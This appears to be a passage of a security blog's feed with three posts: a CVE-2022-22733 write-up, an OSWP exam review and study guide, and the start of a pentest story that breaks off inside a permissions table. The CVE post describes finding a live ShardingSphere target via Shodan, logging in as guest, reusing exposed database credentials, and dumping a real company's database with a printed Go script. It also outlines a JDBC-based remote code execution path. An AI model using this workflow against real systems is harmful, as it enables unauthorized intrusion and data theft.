  <li>https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf</li>
  <li>https://developer.arm.com/documentation/109576/0100/Introduction</li>
  <li>https://www.youtube.com/watch?v=UD1KKHyPnZ4</li>
  <li>https://www.youtube.com/watch?v=feU3H5u8hig</li>
  <li>https://www.youtube.com/watch?v=yzvHzfp2APc</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="Exploit Development" /><category term="Exploit Development" /><category term="ROP" /><category term="ROPGadget" /><category term="Exploitation" /><category term="zero day" /><category term="0day" /><category term="cve" /><summary type="html"><![CDATA[A blog on Pointer Authentication and How it mitigates ROP.]]></summary></entry><entry><title type="html">CVE Analysis: Hacking a Crypto Network for Profit</title><link href="https://zeyadazima.com/general/hacking_crypto_network/" rel="alternate" type="text/html" title="CVE Analysis: Hacking a Crypto Network for Profit" /><published>2024-08-27T00:00:00+00:00</published><updated>2024-08-27T00:00:00+00:00</updated><id>https://zeyadazima.com/general/hacking_crypto_network</id><content type="html" xml:base="https://zeyadazima.com/general/hacking_crypto_network/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Welcome, everyone. In this blog post, I will share the story of how, in June 2023, I successfully dumped the database of a crypto network, ultimately leading to the ability to achieve remote code execution. This was accomplished during my research and analysis of a CVE affecting one of Apache’s products.</p>

<h1 id="about-the-cve">About the CVE</h1>

<p><code class="language-plaintext highlighter-rouge">CVE-2022-22733</code> is a critical security vulnerability affecting Apache ShardingSphere ElasticJob-UI, particularly in versions <code class="language-plaintext highlighter-rouge">3.0.0</code> and earlier. The vulnerability occurs within the <code class="language-plaintext highlighter-rouge">UserAuthenticationService</code> class, where the <code class="language-plaintext highlighter-rouge">getToken()</code> method returns a <code class="language-plaintext highlighter-rouge">Base64</code> encoded string representing the entire <code class="language-plaintext highlighter-rouge">UserAuthenticationService</code> object. This encoded token includes sensitive information such as the <code class="language-plaintext highlighter-rouge">root</code> and <code class="language-plaintext highlighter-rouge">guest</code> usernames &amp; passwords. Which when we  decode it, We can find the <code class="language-plaintext highlighter-rouge">root</code> credentials, Which Allows to escalate privileges to the highest level within the application. You can read the full analysis from <a href="https://zeyadazima.com/vulnerability/cve%20analysis/CVE_2022_22733/">here</a>.</p>

<p><img src="https://github.com/user-attachments/assets/417cea0e-5452-4d92-90da-b3b3f29f5d57" alt="image" /></p>

<h1 id="identify-targets">Identify Targets</h1>

<p>When identifying targets that use a particular product vulnerable to an exploit, internet search engines are invaluable tools. They help us locate instances of the application running online, enabling us to test our exploit.</p>

<h2 id="search-engines">Search Engines</h2>

<p>For this task, I utilized <code class="language-plaintext highlighter-rouge">Shodan</code> and <code class="language-plaintext highlighter-rouge">Zoomeye</code>. Although I didn’t find many targets, I encountered a recurring target in both <code class="language-plaintext highlighter-rouge">Shodan</code> and <code class="language-plaintext highlighter-rouge">Zoomeye</code>:</p>

<ul>
  <li><strong>Zoomeye</strong>:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/9ca7ed99-0398-47ee-a7e7-dfa3cc25f42d" alt="image" /></p>

<ul>
  <li><strong>Shodan</strong>:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/a97caafd-4579-4207-ae04-3c482106898d" alt="image" /></p>

<blockquote>
  <p><strong>Query Used</strong>: <code class="language-plaintext highlighter-rouge">title:"ShardingSphere"</code></p>
</blockquote>

<h1 id="exploit-the-cve">Exploit the CVE</h1>

<p>After identifying a target, the first step was to log in using the guest account (<code class="language-plaintext highlighter-rouge">guest:guest</code>):</p>

<p><img src="https://github.com/user-attachments/assets/1142a2ea-0ff4-41b4-a945-74dac524c407" alt="IFu8FVvrjhyMLZCrdXgYZA5BUdUoJRzwwCSPF0ry" /></p>

<p>Login was successful!</p>

<h2 id="credentials-on-the-dashboard">Credentials on the Dashboard</h2>

<p>Before doing anything else, I explored the configurations accessible with the guest account. I wanted to check if the target was vulnerable and gain a complete understanding of the setup. While navigating the <code class="language-plaintext highlighter-rouge">Event Trace</code> data source tab, I discovered a <code class="language-plaintext highlighter-rouge">MYSQL</code> database data source, complete with the username and password:</p>

<p><img src="https://github.com/user-attachments/assets/3fa471f1-f440-450d-ade4-726e16e92813" alt="image" /></p>

<p>I tested these credentials and was able to connect to the database successfully.</p>

<h2 id="dump-the-database">Dump the Database</h2>

<p>Once connected to the <code class="language-plaintext highlighter-rouge">MYSQL</code> database, I proceeded to dump the tables to examine the data:</p>

<p><img src="https://github.com/user-attachments/assets/adfa31f0-f204-4b64-9d85-0497dbdfe6e6" alt="image" /></p>

<p>From the data, I identified information that allowed me to contact the company. I informed them of the vulnerability, as I realized I could manipulate the data. In response, they launched a bug bounty program on one of the <code class="language-plaintext highlighter-rouge">Web3</code> platforms.</p>

<p>I showed them a <code class="language-plaintext highlighter-rouge">go</code> code, Which I wrote to dump the whole database:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>

<span class="k">import</span> <span class="p">(</span>
	<span class="s">"database/sql"</span>
	<span class="s">"fmt"</span>
	<span class="s">"os"</span>
	<span class="s">"time"</span>

	<span class="n">_</span> <span class="s">"github.com/go-sql-driver/mysql"</span>
<span class="p">)</span>

<span class="k">const</span> <span class="p">(</span>
	<span class="n">hostname</span>     <span class="o">=</span> <span class="s">"server_ip"</span>
	<span class="n">username</span>     <span class="o">=</span> <span class="s">"username"</span>
	<span class="n">password</span>     <span class="o">=</span> <span class="s">"password"</span>
	<span class="n">databaseName</span> <span class="o">=</span> <span class="s">"datyabase"</span>
<span class="p">)</span>

<span class="k">var</span> <span class="n">tablesToDump</span> <span class="o">=</span> <span class="p">[]</span><span class="kt">string</span><span class="p">{</span>
	<span class="s">"tables...."</span>
<span class="p">}</span>

<span class="k">func</span> <span class="n">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">db</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">sql</span><span class="o">.</span><span class="n">Open</span><span class="p">(</span><span class="s">"mysql"</span><span class="p">,</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s:%s@tcp(%s)/%s"</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">hostname</span><span class="p">,</span> <span class="n">databaseName</span><span class="p">))</span>
	<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
		<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error connecting to MySQL server: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
		<span class="k">return</span>
	<span class="p">}</span>
	<span class="k">defer</span> <span class="n">db</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

	<span class="n">backupDir</span> <span class="o">:=</span> <span class="s">"backup"</span>
	<span class="k">if</span> <span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">Stat</span><span class="p">(</span><span class="n">backupDir</span><span class="p">);</span> <span class="n">os</span><span class="o">.</span><span class="n">IsNotExist</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">os</span><span class="o">.</span><span class="n">Mkdir</span><span class="p">(</span><span class="n">backupDir</span><span class="p">,</span> <span class="m">0755</span><span class="p">)</span>
	<span class="p">}</span>


	<span class="n">timestamp</span> <span class="o">:=</span> <span class="n">time</span><span class="o">.</span><span class="n">Now</span><span class="p">()</span><span class="o">.</span><span class="n">Format</span><span class="p">(</span><span class="s">"2006-01-02_15-04-05"</span><span class="p">)</span>


	<span class="k">for</span> <span class="n">_</span><span class="p">,</span> <span class="n">table</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">tablesToDump</span> <span class="p">{</span>
		<span class="n">backupFile</span> <span class="o">:=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s/%s_%s.txt"</span><span class="p">,</span> <span class="n">backupDir</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">)</span>


		<span class="n">file</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">os</span><span class="o">.</span><span class="n">Create</span><span class="p">(</span><span class="n">backupFile</span><span class="p">)</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error creating backup file for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>
		<span class="k">defer</span> <span class="n">file</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

		<span class="n">rows</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">db</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"SELECT * FROM %s"</span><span class="p">,</span> <span class="n">table</span><span class="p">))</span>
		<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
			<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error executing query for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
			<span class="k">continue</span>
		<span class="p">}</span>
		<span class="k">defer</span> <span class="n">rows</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span>

		<span class="k">for</span> <span class="n">rows</span><span class="o">.</span><span class="n">Next</span><span class="p">()</span> <span class="p">{</span>
			<span class="n">columns</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">rows</span><span class="o">.</span><span class="n">Columns</span><span class="p">()</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error retrieving column names for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>

			<span class="n">values</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="k">interface</span><span class="p">{},</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="n">columnPointers</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="k">interface</span><span class="p">{},</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="k">for</span> <span class="n">i</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">values</span> <span class="p">{</span>
				<span class="n">columnPointers</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">values</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
			<span class="p">}</span>

			<span class="n">err</span> <span class="o">=</span> <span class="n">rows</span><span class="o">.</span><span class="n">Scan</span><span class="p">(</span><span class="n">columnPointers</span><span class="o">...</span><span class="p">)</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error scanning row data for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>

			<span class="n">rowData</span> <span class="o">:=</span> <span class="nb">make</span><span class="p">([]</span><span class="kt">string</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">columns</span><span class="p">))</span>
			<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="o">:=</span> <span class="k">range</span> <span class="n">values</span> <span class="p">{</span>
				<span class="k">if</span> <span class="n">v</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
					<span class="n">byteValue</span><span class="p">,</span> <span class="n">ok</span> <span class="o">:=</span> <span class="n">v</span><span class="o">.</span><span class="p">([]</span><span class="kt">byte</span><span class="p">)</span>
					<span class="k">if</span> <span class="n">ok</span> <span class="p">{</span>
						<span class="n">rowData</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="kt">string</span><span class="p">(</span><span class="n">byteValue</span><span class="p">)</span>
					<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
						<span class="n">rowData</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%v"</span><span class="p">,</span> <span class="n">v</span><span class="p">)</span>
					<span class="p">}</span>
				<span class="p">}</span>
			<span class="p">}</span>

			<span class="n">_</span><span class="p">,</span> <span class="n">err</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">WriteString</span><span class="p">(</span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">rowData</span><span class="p">))</span>
			<span class="k">if</span> <span class="n">err</span> <span class="o">!=</span> <span class="no">nil</span> <span class="p">{</span>
				<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error writing row data for table %s: %v</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">err</span><span class="p">)</span>
				<span class="k">break</span>
			<span class="p">}</span>
		<span class="p">}</span>

		<span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Backup created for table %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">table</span><span class="p">,</span> <span class="n">backupFile</span><span class="p">)</span>
	<span class="p">}</span>

	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Backup completed for all specified tables"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<blockquote>
  <p><strong>Note</strong>: Always inform the company before taking any further steps. Unauthorized actions are unethical and potentially illegal.</p>
</blockquote>

<h1 id="going-further">Going Further</h1>

<p>In CVE-2022-22733, after obtaining root credentials through an initial privilege escalation vulnerability, You can exploit the <code class="language-plaintext highlighter-rouge">JDBC</code> interface to achieve Remote Code Execution (<code class="language-plaintext highlighter-rouge">RCE</code>). By Configuring a malicious data source using the <code class="language-plaintext highlighter-rouge">H2</code> database driver, crafting a <code class="language-plaintext highlighter-rouge">JDBC</code> URL that points to a script hosted on a remote server. This <code class="language-plaintext highlighter-rouge">URL</code> includes commands to execute the script upon database initialization. The script, often containing commands to exploit the system’s shell (like running <code class="language-plaintext highlighter-rouge">calc.exe</code>), is executed when the connection is tested, leading to full <code class="language-plaintext highlighter-rouge">RCE</code> on the target server. But As It’s aganist law cause we can’t perform any actions like that, But we still have the ability to go into the server.</p>

<p><img src="https://github.com/user-attachments/assets/58e1be44-9f9b-4799-856c-23a3427ebdb3" alt="image" /></p>

<blockquote>
  <p>You ca Read my exploitation part from the analysis for more information from <a href="https://zeyadazima.com/vulnerability/cve%20analysis/CVE_2022_22733_exploit/">here</a>.</p>
</blockquote>

<h1 id="conclusion">Conclusion</h1>

<p><img src="https://github.com/user-attachments/assets/e6bb7b9c-b736-422a-9afa-2000dda8aead" alt="image" /></p>

<p>By exploiting this vulnerability, I was able to gain access and subsequently connect to the target’s database. After successfully dumping the database, I responsibly disclosed the findings to the company, leading to the initiation of a bug bounty program on a <code class="language-plaintext highlighter-rouge">Web3</code> platform. Although through the <code class="language-plaintext highlighter-rouge">JDBC</code> interface, it can be abused, Which could lead to Remote Code Execution (<code class="language-plaintext highlighter-rouge">RCE</code>).</p>]]></content><author><name>Zeyad Azima</name></author><category term="General" /><category term="General" /><category term="pentest" /><category term="pentesting" /><category term="web3" /><category term="JDBC" /><category term="bypass" /><category term="mysql" /><category term="exploitation" /><category term="wallet" /><category term="cve" /><category term="java" /><category term="apache" /><summary type="html"><![CDATA[How Analyzing a simple CVE led me to takeover a Crypto Network.]]></summary></entry><entry><title type="html">OSWP Review &amp;amp; Guide</title><link href="https://zeyadazima.com/certificates/oswprg/" rel="alternate" type="text/html" title="OSWP Review &amp;amp; Guide" /><published>2024-08-24T00:00:00+00:00</published><updated>2024-08-24T00:00:00+00:00</updated><id>https://zeyadazima.com/certificates/oswprg</id><content type="html" xml:base="https://zeyadazima.com/certificates/oswprg/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Welcome to this blog post! I will be sharing my experience with the <code class="language-plaintext highlighter-rouge">OSWP</code> (Offensive Security Wireless Professional) exam and providing a study guide for wireless (Wi-Fi) penetration testing and the <code class="language-plaintext highlighter-rouge">OSWP</code> certification.</p>

<h2 id="back-in-time">Back in Time</h2>
<p>I have been experimenting with Wi-Fi hacking since middle school. Over the years, I learned about <code class="language-plaintext highlighter-rouge">IEEE</code> concepts and how Wi-Fi works. I used to create access points (APs) and hack them for practice. The last time I did anything related to wireless penetration testing was during one of my projects in 2022, so it had been a while. However, I was familiar with the basics, and with some practice, I was able to get back up to speed.</p>

<h1 id="exam-review">Exam Review</h1>
<p>The exam duration is <code class="language-plaintext highlighter-rouge">3</code> hours and <code class="language-plaintext highlighter-rouge">45</code> minutes, which might seem short, but it’s more than enough time to complete the tasks. The exam provides you with <code class="language-plaintext highlighter-rouge">3</code> different Wi-Fi APs, each using a different security method, such as <code class="language-plaintext highlighter-rouge">WPA-PSK</code>, <code class="language-plaintext highlighter-rouge">WPS</code>, <code class="language-plaintext highlighter-rouge">WEP</code>, or <code class="language-plaintext highlighter-rouge">WPA-Enterprise</code>. You are required to solve one mandatory task and another one of your choice.</p>

<p>When the exam started, I faced several technical issues—the APs were not showing up, and sometimes there were no clients on the APs. I had to contact support, and after some back-and-forth, the issues were resolved. The actual time it took me to solve the exam was around <code class="language-plaintext highlighter-rouge">1</code> hour, but with the technical difficulties, it extended to over <code class="language-plaintext highlighter-rouge">4</code> hours. Fortunately, the support team provided additional time to compensate for the troubleshooting. After completing the exam, it took me a few more hours to finish and submit the report. On <code class="language-plaintext highlighter-rouge">July 5, 2024</code>, I received my exam results:</p>

<p><img src="https://github.com/user-attachments/assets/67f81ab4-c377-43e2-90e9-5aca8eaeb4a2" alt="image" /></p>

<h1 id="study-guide">Study Guide</h1>
<p>As for studying, I didn’t go through the course material since I already had prior experience with wireless penetration testing. All I did was practice and familiarize myself with Wi-Fi pentesting again. However, I wasn’t familiar with <code class="language-plaintext highlighter-rouge">WPA-Enterprise</code>, so I studied and practiced it specifically.</p>

<p>The first thing you need to understand is <code class="language-plaintext highlighter-rouge">IEEE 802.11</code>. You can learn all about it from the <a href="https://ieeexplore.ieee.org/browse/standards/get-program/page/series?id=68">IEEE</a>. Next, get acquainted with wireless fundamentals, which you can find <a href="https://www.youtube.com/watch?v=zuYiktLqNYQ">here</a>.</p>

<p>For Wi-Fi security and encryption, these resources are helpful:</p>
<ul>
  <li><a href="https://www.youtube.com/watch?v=O53RfZ4oojY">YouTube - Wi-Fi Security and Encryption Overview</a></li>
  <li><a href="https://www.youtube.com/watch?v=tk4cC42N2sE">YouTube - Wireless Security Protocols</a></li>
  <li><a href="https://www.youtube.com/watch?v=g6vz-lfd-GQ">YouTube - Introduction to Wi-Fi Encryption</a></li>
  <li><a href="https://www.youtube.com/watch?v=TOxch8ZBi2I">YouTube - Advanced Wi-Fi Security</a></li>
</ul>

<p>Next, familiarize yourself with the wireless tools on Linux:</p>
<ul>
  <li><a href="https://www.linuxfromscratch.org/blfs/view/git/basicnet/wireless_tools.html">Linux from Scratch - Wireless Tools</a></li>
  <li><a href="https://hewlettpackard.github.io/wireless-tools/Tools.html#docu">Hewlett Packard - Wireless Tools Documentation</a></li>
  <li><a href="https://linuxlink.timesys.com/docs/wiki/engineering/HOWTO_Use_Wireless_Networking">Timesys - Wireless Networking</a></li>
</ul>

<p>Following that, learn how to use Wireshark specifically for wireless:</p>
<ul>
  <li><a href="https://wiki.wireshark.org/CaptureSetup/WLAN">Wireshark WLAN Capture Setup</a></li>
  <li><a href="https://www.youtube.com/watch?v=p3Ik_pcwp9c">YouTube - Wireshark for Wireless</a></li>
</ul>

<p>Then, dive into <code class="language-plaintext highlighter-rouge">aircrack-ng</code> tools and learn how to attack networks:</p>
<ul>
  <li><a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-wifi">HackTricks - Pentesting Wi-Fi</a></li>
  <li><a href="https://medium.com/@verylazytech/penetration-testing-wifi-networks-a-comprehensive-guide-1e53831dbbd4">Medium - Comprehensive Guide to Wi-Fi Pentesting</a></li>
  <li><a href="https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet">GitHub - Wi-Fi Pentesting Cheat Sheet</a></li>
  <li><a href="https://www.youtube.com/watch?v=WKTXI4Dyxak">YouTube - Aircrack-ng Tutorial</a></li>
  <li><a href="https://github.com/ricardojoserf/wifi-pentesting-guide">GitHub - Wi-Fi Pentesting Guide</a></li>
  <li><a href="https://www.bettercap.org/modules/wifi/">Bettercap - Wi-Fi Modules</a></li>
</ul>

<h2 id="practicing">Practicing</h2>
<p>For practicing, you don’t need to buy any wireless cards or additional equipment. You can use <a href="https://github.com/r4ulcl/WiFiChallengeLab-docker">WiFi Challenge Lab</a>, which offers a variety of challenges for Wi-Fi networks. It’s perfect for practicing wireless penetration testing in general. You can also follow the walkthrough <a href="https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/">here</a>.</p>
<ul>
  <li><a href="https://wifichallengelab.com">WiFi Challenge Lab</a></li>
</ul>

<h1 id="notes--tips">Notes &amp; Tips</h1>
<p>When starting the exam, solve the <code class="language-plaintext highlighter-rouge">AP</code> that is available first. Once finished, reset the next challenge you want to solve through the exam panel to avoid any issues with the <code class="language-plaintext highlighter-rouge">APs</code>. You can also refer to the <a href="https://zeyadazima.com/notes/oswplaybook/">OSWP PlayBook</a>, which is an excellent resource to help you pass the exam and improve your skills in attacking wireless networks during a test. Make sure to have a backup for the machine/device you are using, Also make sure that your ISP supports <code class="language-plaintext highlighter-rouge">Openvpn</code>, Cause some countries blocking it. Finally, Be calm &amp; Don’t panic!.</p>

<h1 id="conclusion">Conclusion</h1>
<p>In conclusion, the <code class="language-plaintext highlighter-rouge">OSWP</code> exam is straightforward and to the point. If you encounter any issues, don’t hesitate to contact support through the chat feature. With proper preparation, especially focusing on the areas you are less familiar with, and a solid understanding of the tools and techniques involved, passing the exam is highly achievable. Remember to take your time, stay calm, and approach each task methodically.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Certificates" /><category term="Certificates" /><category term="wifi" /><category term="wireless" /><category term="Exploitation" /><category term="wpa" /><category term="wps" /><category term="wep" /><summary type="html"><![CDATA[My OSWP Review and Guide.]]></summary></entry><entry><title type="html">Pentest: From Customer to Full Application Takeover</title><link href="https://zeyadazima.com/general/fullapptakeover/" rel="alternate" type="text/html" title="Pentest: From Customer to Full Application Takeover" /><published>2024-08-24T00:00:00+00:00</published><updated>2024-08-24T00:00:00+00:00</updated><id>https://zeyadazima.com/general/fullapptakeover</id><content type="html" xml:base="https://zeyadazima.com/general/fullapptakeover/"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Welcome everyone! In addition to my regular work, I take on some pentesting projects as a freelancer for various clients. Today, I’m excited to share a particularly interesting bug that started as a seemingly straightforward <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability but ultimately led to a full application takeover.</p>

<h1 id="application-overview">Application Overview</h1>
<p>The application in question is a financial solution platform. It includes a web dashboard used by high-privileged users, such as <code class="language-plaintext highlighter-rouge">admin</code>, and a mobile application designed for <code class="language-plaintext highlighter-rouge">customers</code>. The customers can only perform specific actions like signing up, viewing their personal and financial information, reporting issues, modifying their profiles, and more. The application’s user features are outlined as follows:</p>

<table>
  <thead>
    <tr>
      <th><strong>Feature</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>all notifications</strong></td>
      <td>View and manage all notifications generated by the application.</td>
    </tr>
    <tr>
      <td><strong>check incomplete applications</strong></td>
      <td>Review and track applications that are not fully completed.</td>
    </tr>
    <tr>
      <td><strong>Edit Profile</strong></td>
      <td>Allows users to modify their personal profile information within the application.</td>
    </tr>
    <tr>
      <td><strong>get Dashboard</strong></td>
      <td>Access the main dashboard, displaying an overview of important metrics and data.</td>
    </tr>
    <tr>
      <td><strong>Read Applications</strong></td>
      <td>Review and analyze submitted applications.</td>
    </tr>
    <tr>
      <td><strong>Submit Application</strong></td>
      <td>Submit new applications through the platform.</td>
    </tr>
    <tr>
      <td><strong>unRead Notifications</strong></td>
      <td>View notifications that have not been read yet.</td>
    </tr>
    <tr>
      <td><strong>update profile</strong></td>
      <td>Update and save changes to the user’s profile information.</td>
    </tr>
  </tbody>
</table>

<p>For the <code class="language-plaintext highlighter-rouge">admins</code>, they have full access to the application, including control over all users and customers. Unlike <code class="language-plaintext highlighter-rouge">customers</code>, <code class="language-plaintext highlighter-rouge">users</code> can be created by the <code class="language-plaintext highlighter-rouge">admin</code> and assigned specific roles, which limit the privileges of each user. Each role comes with its own set of permissions, and there are over <code class="language-plaintext highlighter-rouge">70</code> different permissions available in the application. The features available to <code class="language-plaintext highlighter-rouge">admins</code> include the following:</p>

<table>
  <thead>
    <tr>
      <th><strong>Feature Name</strong></th>
      <th><strong>Description</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Dashboard</strong></td>
      <td>Provides an overview of key metrics and data relevant to the admin’s tasks.</td>
    </tr>
    <tr>
      <td><strong>Roles</strong></td>
      <td>Manage and assign different roles and permissions to users within the system.</td>
    </tr>
    <tr>
      <td><strong>Users</strong></td>
      <td>View, manage, and edit user accounts and their information.</td>
    </tr>
    <tr>
      <td><strong>Customers</strong></td>
      <td>Manage customer profiles and information.</td>
    </tr>
    <tr>
      <td><strong>Applications</strong></td>
      <td>Review, approve, or reject applications submitted by customers.</td>
    </tr>
    <tr>
      <td><strong>Generic Keys</strong></td>
      <td>Manage generic keys used for system operations or integrations.</td>
    </tr>
    <tr>
      <td><strong>Generic Key Values</strong></td>
      <td>Assign and manage values associated with generic keys in the system.</td>
    </tr>
    <tr>
      <td><strong>Products</strong></td>
      <td>Manage the product offerings available in the system.</td>
    </tr>
    <tr>
      <td><strong>Sub Products</strong></td>
      <td>Handle subcategories or variations of main products.</td>
    </tr>
    <tr>
      <td><strong>Financing Companies</strong></td>
      <td>Manage information related to financing companies associated with the system.</td>
    </tr>
    <tr>
      <td><strong>Subscription Plans</strong></td>
      <td>Create, edit, and manage subscription plans available to users.</td>
    </tr>
    <tr>
      <td><strong>Schemes</strong></td>
      <td>Define and manage various schemes available within the system.</td>
    </tr>
    <tr>
      <td><strong>Workflow Heads</strong></td>
      <td>Oversee and manage the heads or leaders of different workflows.</td>
    </tr>
    <tr>
      <td><strong>Workflow</strong></td>
      <td>Define and manage the workflows for different processes within the system.</td>
    </tr>
    <tr>
      <td><strong>Eligibility</strong></td>
      <td>Set and manage criteria for eligibility related to products, services, or schemes.</td>
    </tr>
    <tr>
      <td><strong>Advertisements</strong></td>
      <td>Manage and configure advertisements displayed within the system.</td>
    </tr>
    <tr>
      <td><strong>Logs</strong></td>
      <td>View and analyze system logs for auditing and troubleshooting purposes.</td>
    </tr>
    <tr>
      <td><strong>Configurations</strong></td>
      <td>Manage system configurations and settings.</td>
    </tr>
  </tbody>
</table>

<p>The application included the following permissions:</p>

<table>
  <thead>
    <tr>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
      <th><strong>Permission</strong></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>role-list</td>
      <td>role-create</td>
      <td>role-edit</td>
      <td>role-delete</td>
    </tr>
    <tr>
      <td>user-list</td>
      <td>user-create</td>
      <td>user-edit</td>
      <td>user-delete</td>
    </tr>
    <tr>
      <td>generic-key-list</td>
      <td>generic-key-create</td>
      <td>generic-key-edit</td>
      <td>generic-key-delete</td>
    </tr>
    <tr>
      <td>generic-key-value-list</td>
      <td>generic-key-value-create</td>
      <td>generic-key-value-edit</td>
      <td>generic-key-value-delete</td>
    </tr>
    <tr>
      <td>configuration-list</td>
      <td>configuration-create</td>
      <td>configuration-edit</td>
      <td>configuration-delete</td>
    </tr>
    <tr>
      <td>product-list</td>
      <td>product-create</td>
      <td>product-edit</td>
      <td>product-delete</td>
    </tr>
    <tr>
      <td>sub-product-list</td>
      <td>sub-product-create</td>
      <td>sub-product-edit</td>
      <td>sub-product-delete</td>
    </tr>
    <tr>
      <td>subscription-plan-list</td>
      <td>subscription-plan-create</td>
      <td>subscription-plan-edit</td>
      <td>subscription-plan-delete</td>
    </tr>
    <tr>
      <td>financing-company-list</td>
      <td>financing-company-create</td>
      <td>financing-company-edit</td>
      <td>financing-company-delete</td>
    </tr>
    <tr>
      <td>sub-user-list</td>
      <td>sub-user-create</td>
      <td>sub-user-edit</td>
      <td>sub-user-delete</td>
    </tr>
    <tr>
      <td>log-list</td>
      <td>scheme-list</td>
      <td>scheme-create</td>
      <td>scheme-edit</td>
    </tr>
    <tr>
      <td>scheme-delete</td>
      <td>eligibility-rule-list</td>
      <td>eligibility-rule-create</td>
